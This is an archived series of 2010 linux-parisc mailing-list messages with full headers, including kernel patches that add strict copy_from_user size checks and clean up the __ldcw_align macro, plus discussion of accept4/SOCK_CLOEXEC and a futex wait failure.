More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: add strict copy size checks (v2)
Date: Mon, 1 Feb 2010 20:56:33 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <20100201195633.GA14680@p100.box>
References: <20091222225649.GA7050@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265054236 11948 80.91.229.12 (1 Feb 2010 19:57:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 19:57:16 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 20:57:13 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc2OH-0006RK-1R
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 20:56:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755997Ab0BAT4s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 14:56:48 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:37952 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756038Ab0BAT4s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 14:56:48 -0500
Original-Received: (qmail invoked by alias); 01 Feb 2010 19:56:40 -0000
Original-Received: from p54AD35A0.dip0.t-ipconnect.de (EHLO p100.box) [84.173.53.160]
  by mail.gmx.net (mp005) with SMTP; 01 Feb 2010 20:56:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/EuaAfN5zEJa1psEX6eH+iLx3WXtH9qFCzcAX/5U
	sFtUAea1n3BWV9
Content-Disposition: inline
In-Reply-To: <20091222225649.GA7050@p100.box>
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.46000000000000002
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2609
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2609>

Add CONFIG_DEBUG_STRICT_USER_COPY_CHECKS, copied from the x86
implementation. Tested with 32 and 64bit kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
index bc989e5..7305ac8 100644
--- a/arch/parisc/Kconfig.debug
+++ b/arch/parisc/Kconfig.debug
@@ -12,4 +12,18 @@ config DEBUG_RODATA
          portion of the kernel code won't be covered by a TLB anymore.
          If in doubt, say "N".
 
+config DEBUG_STRICT_USER_COPY_CHECKS
+	bool "Strict copy size checks"
+	depends on DEBUG_KERNEL && !TRACE_BRANCH_PROFILING
+	---help---
+	  Enabling this option turns a certain set of sanity checks for user
+	  copy operations into compile time failures.
+
+	  The copy_from_user() etc checks are there to help test if there
+	  are sufficient security checks on the length argument of
+	  the copy operation, by having gcc prove that the argument is
+	  within bounds.
+
+	  If unsure, or if you run an older (pre 4.4) gcc, say N.
+
 endmenu
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 7cf799d..ff4cf9d 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -7,6 +7,7 @@
 #include <asm/page.h>
 #include <asm/system.h>
 #include <asm/cache.h>
+#include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
 
 #define VERIFY_READ 0
@@ -234,13 +235,35 @@ extern long lstrnlen_user(const char __user *,long);
 
 unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len);
 #define __copy_to_user copy_to_user
-unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len);
-#define __copy_from_user copy_from_user
+unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len);
 unsigned long copy_in_user(void __user *dst, const void __user *src, unsigned long len);
 #define __copy_in_user copy_in_user
 #define __copy_to_user_inatomic __copy_to_user
 #define __copy_from_user_inatomic __copy_from_user
 
+extern void copy_from_user_overflow(void)
+#ifdef CONFIG_DEBUG_STRICT_USER_COPY_CHECKS
+        __compiletime_error("copy_from_user() buffer size is not provably correct")
+#else
+        __compiletime_warning("copy_from_user() buffer size is not provably correct")
+#endif
+;
+
+static inline unsigned long __must_check copy_from_user(void *to,
+                                          const void __user *from,
+                                          unsigned long n)
+{
+        int sz = __compiletime_object_size(to);
+        int ret = -EFAULT;
+
+        if (likely(sz == -1 || !__builtin_constant_p(n) || sz >= n))
+                ret = __copy_from_user(to, from, n);
+        else
+                copy_from_user_overflow();
+
+        return ret;
+}
+
 struct pt_regs;
 int fixup_exception(struct pt_regs *regs);
 
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index abf41f4..1dbca5c 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -475,7 +475,8 @@ unsigned long copy_to_user(void __user *dst, const void *src, unsigned long len)
 	return pa_memcpy((void __force *)dst, src, len);
 }
 
-unsigned long copy_from_user(void *dst, const void __user *src, unsigned long len)
+EXPORT_SYMBOL(__copy_from_user);
+unsigned long __copy_from_user(void *dst, const void __user *src, unsigned long len)
 {
 	mtsp(get_user_space(), 1);
 	mtsp(get_kernel_space(), 2);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Mon, 1 Feb 2010 16:36:22 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab441002011336u676bdef4oaf3b891a94916949@mail.gmail.com>
References: <4B67252A.2000501@gmx.de>
	 <20100201191141.EE51F4EA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1265060191 6416 80.91.229.12 (1 Feb 2010 21:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 21:36:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 22:36:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc3wX-00078A-S7
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 22:36:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752366Ab0BAVgY convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 16:36:24 -0500
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:50993 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752279Ab0BAVgY convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 16:36:24 -0500
Original-Received: by wwi18 with SMTP id 18so582483wwi.19
        for <linux-parisc@vger.kernel.org>; Mon, 01 Feb 2010 13:36:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=Nmadnw/uOLt+dLINDYLpMRfcywGZpCWv42PdhD/BsI4=;
        b=ELoeyVFzxsUCNokOCwZO/4vcv7GYSNr6atw8M6fIosui3tuOKUjbvdC8uCPf+ihP7U
         iAm4GQJc/aDqPjzFW/UiB1PaHy5M21dizyN8EB44n/Uu8C2kLPMrzxxebKWoo7GOC7l8
         fsuHTMbjPp7Ebv8qv7n/P21KoN68RtNhu1l/Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=pOBb1IvEZtGUtWD1GHy4wK+QH1utgl6N8g3piqb5rA3raJBBp1Qvs7eC9vJwzt0uSY
         5cwSOji1tCl0bGpzqYloYYev4Tn/JsYJd9Y+AjTL8F0znBCmC3OeNwOI3L5Z2UIjShPg
         Fg+VjBY82nZNg17bQvDenn8TgK5CsHpM3noPo=
Original-Received: by 10.216.90.18 with SMTP id d18mr2831966wef.225.1265060182665; Mon, 
	01 Feb 2010 13:36:22 -0800 (PST)
In-Reply-To: <20100201191141.EE51F4EA9@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 593d7af17a184f6f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2610
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2610>

On Mon, Feb 1, 2010 at 2:11 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>>
>> No, sadly it didn't fixed it.
>
> I tend to think clone/fork syscalls need to be guarded to ensure a st=
able
> configuration while the syscall executes. =A0It may be the problem ar=
ises
> because we use clone for fork. =A0Do any other targets do this?

All targets call nptl/sysdeps/unix/sysv/linux/fork.c, which calls
ARCH_FORK, which is implemented using clone() for *all* targets.

In fact, owing to the POSIX atfork requirements, it's very difficult
to implement fork properly without using Linux clone.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Mon, 1 Feb 2010 16:38:33 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20100201213833.GE24051@bombadil.infradead.org>
References: <20091226182050.GH11593@bombadil.infradead.org> <20100201135427.GA24051@bombadil.infradead.org> <119aab441002010611y8977762k3ce0a827b503d3f8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265060321 6867 80.91.229.12 (1 Feb 2010 21:38:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 21:38:41 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 22:38:37 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc3yf-0008DO-2h
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 22:38:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754538Ab0BAVig (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 16:38:36 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40669 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753096Ab0BAVig (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 16:38:36 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nc3yb-0002si-V9; Mon, 01 Feb 2010 21:38:33 +0000
Content-Disposition: inline
In-Reply-To: <119aab441002010611y8977762k3ce0a827b503d3f8@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2611>

On Mon, Feb 01, 2010 at 09:11:23AM -0500, Carlos O'Donell wrote:
> IIUC SOCK_CLOEXEC only works in 2.6.27 or higher with accept4?
> 
> In which case, since accept4 has never existed before, it's OK to
> change this value?
> 

Well, it's never worked either, so I assume it's safe to change. The
main problem is glibc keeping a parallel copy of the system headers
instead of using the sanitized ones, since this means anything which
correctly used those headers has the right value.

(Basically... any userspace program compiled against the old glibc will
need to be rebuilt, but if we change it won't be any more broken than
they already have been.)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Mon, 1 Feb 2010 17:55:39 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab441002011455kb7fde93q2441ef9e69e29105@mail.gmail.com>
References: <20091226182050.GH11593@bombadil.infradead.org>
	 <20100201135427.GA24051@bombadil.infradead.org>
	 <119aab441002010611y8977762k3ce0a827b503d3f8@mail.gmail.com>
	 <20100201213833.GE24051@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1265064964 23656 80.91.229.12 (1 Feb 2010 22:56:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 22:56:04 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 23:56:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc5BX-0000aL-A2
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 23:55:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754588Ab0BAWzm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 17:55:42 -0500
Original-Received: from mail-ew0-f219.google.com ([209.85.219.219]:61322 "EHLO
	mail-ew0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753063Ab0BAWzl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 17:55:41 -0500
Original-Received: by ewy19 with SMTP id 19so2948082ewy.1
        for <linux-parisc@vger.kernel.org>; Mon, 01 Feb 2010 14:55:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=zx2ub+MTzx63esGiBKcSEzinzAcl004PWkk3C4ma3is=;
        b=DnBlE7S1PsSDkgfSCEaVD3AtzFObZhKHJBVebC1TMicJaE0jOECL3vdS94AuHYLfyR
         VLMi16QUxPg1lxPYH/UTLwDXNXjK9HT42YO803MFP1qhTrcHcpgII1hGvR2P1DdDJ4bg
         k3MOjwfm2cMST+eGDxJl73ZlZdGCIdMLBN8BM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=fG5ZiPIhHEv/75ExmRMf9eXYDlOUeJxh5wFIUq//X2GNfsiuMoR/1s72BJj9l7jZZw
         UtYzOQLc0AMXJQqAYNWEQZ903zNasm9puKNUCMV0aQZrFTXNbFisNnQstm9v3peQ62GH
         DCEzUN8dizK1Itk9VhDDQdASIiSDbtXLmb5JQ=
Original-Received: by 10.216.88.67 with SMTP id z45mr2912661wee.112.1265064939812; Mon, 
	01 Feb 2010 14:55:39 -0800 (PST)
In-Reply-To: <20100201213833.GE24051@bombadil.infradead.org>
X-Google-Sender-Auth: 1dcfd4ca56f7ccaf
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2612>

On Mon, Feb 1, 2010 at 4:38 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Mon, Feb 01, 2010 at 09:11:23AM -0500, Carlos O'Donell wrote:
>> IIUC SOCK_CLOEXEC only works in 2.6.27 or higher with accept4?
>>
>> In which case, since accept4 has never existed before, it's OK to
>> change this value?
>>
>
> Well, it's never worked either, so I assume it's safe to change. The
> main problem is glibc keeping a parallel copy of the system headers
> instead of using the sanitized ones, since this means anything which
> correctly used those headers has the right value.

Applied to libc-ports. Thanks.

Yes, I agree completely. They are here for hysterical raisins, and
eventually I think glibc will shed them with time.

> (Basically... any userspace program compiled against the old glibc will
> need to be rebuilt, but if we change it won't be any more broken than
> they already have been.)

Good, that's what I like to hear :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: sys_accept4, SOCK_CLOEXEC, misc, bonghits, and others...
Date: Mon, 1 Feb 2010 17:58:53 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20100201225853.GF24051@bombadil.infradead.org>
References: <20091226182050.GH11593@bombadil.infradead.org> <20100201135427.GA24051@bombadil.infradead.org> <119aab441002010611y8977762k3ce0a827b503d3f8@mail.gmail.com> <20100201213833.GE24051@bombadil.infradead.org> <119aab441002011455kb7fde93q2441ef9e69e29105@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265065141 24197 80.91.229.12 (1 Feb 2010 22:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Feb 2010 22:59:01 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 01 23:58:57 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nc5EO-0000aL-4m
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Feb 2010 23:58:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752642Ab0BAW6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Feb 2010 17:58:55 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49449 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752091Ab0BAW6z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Feb 2010 17:58:55 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nc5EL-0007WT-TN; Mon, 01 Feb 2010 22:58:53 +0000
Content-Disposition: inline
In-Reply-To: <119aab441002011455kb7fde93q2441ef9e69e29105@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2613
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2613>

Great, thanks a million Carlos. I'll push accept4 up for the next cycle.

regards, Kyle

On Mon, Feb 01, 2010 at 05:55:39PM -0500, Carlos O'Donell wrote:
<snip>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: drop unnecessary cast in __ldcw_align() macro
Date: Tue, 2 Feb 2010 20:06:23 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20100202190623.GA7059@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265137597 11634 80.91.229.12 (2 Feb 2010 19:06:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Feb 2010 19:06:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 02 20:06:33 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NcO50-0000uB-Nl
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Feb 2010 20:06:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756906Ab0BBTG3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Feb 2010 14:06:29 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49643 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1756357Ab0BBTG3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Feb 2010 14:06:29 -0500
Original-Received: (qmail invoked by alias); 02 Feb 2010 19:06:25 -0000
Original-Received: from p54AD2C8C.dip0.t-ipconnect.de (EHLO p100.box) [84.173.44.140]
  by mail.gmx.net (mp037) with SMTP; 02 Feb 2010 20:06:25 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18z3ZY9BMQzocEinExfEz1q+Azj6vqc+xSvpgRIpj
	BLienSsR3u8qzJ
Content-Disposition: inline
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.60999999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2614>

__ldcw_align() can directly access the slock member of struct arch_spinlock_t
instead of using an ugly cast.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Tue, 02 Feb 2010 22:16:36 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <4B689634.8060408@gmx.de>
References: <20100108211733.852134EF4@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080806060407050402090501"
X-Trace: ger.gmane.org 1265145411 9980 80.91.229.12 (2 Feb 2010 21:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 2 Feb 2010 21:16:51 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 02 22:16:47 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NcQ74-0000Nk-BT
	for glpp-linux-parisc@lo.gmane.org; Tue, 02 Feb 2010 22:16:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754946Ab0BBVQp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 2 Feb 2010 16:16:45 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:54567 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754911Ab0BBVQo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 2 Feb 2010 16:16:44 -0500
Original-Received: (qmail invoked by alias); 02 Feb 2010 21:16:40 -0000
Original-Received: from p54AD2C8C.dip0.t-ipconnect.de (EHLO halden.box) [84.173.44.140]
  by mail.gmx.net (mp022) with SMTP; 02 Feb 2010 22:16:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+fP94Jd32fH7MaTaj3CjLM1RiaEaMriMwOaakifS
	f68HsCTvywrzae
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <20100108211733.852134EF4@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.67000000000000004
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2615>

This is a multi-part message in MIME format.
--------------080806060407050402090501
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

I wonder if we have some problems with the LWS code path in the kernel
regarding atomic locking with futexes?

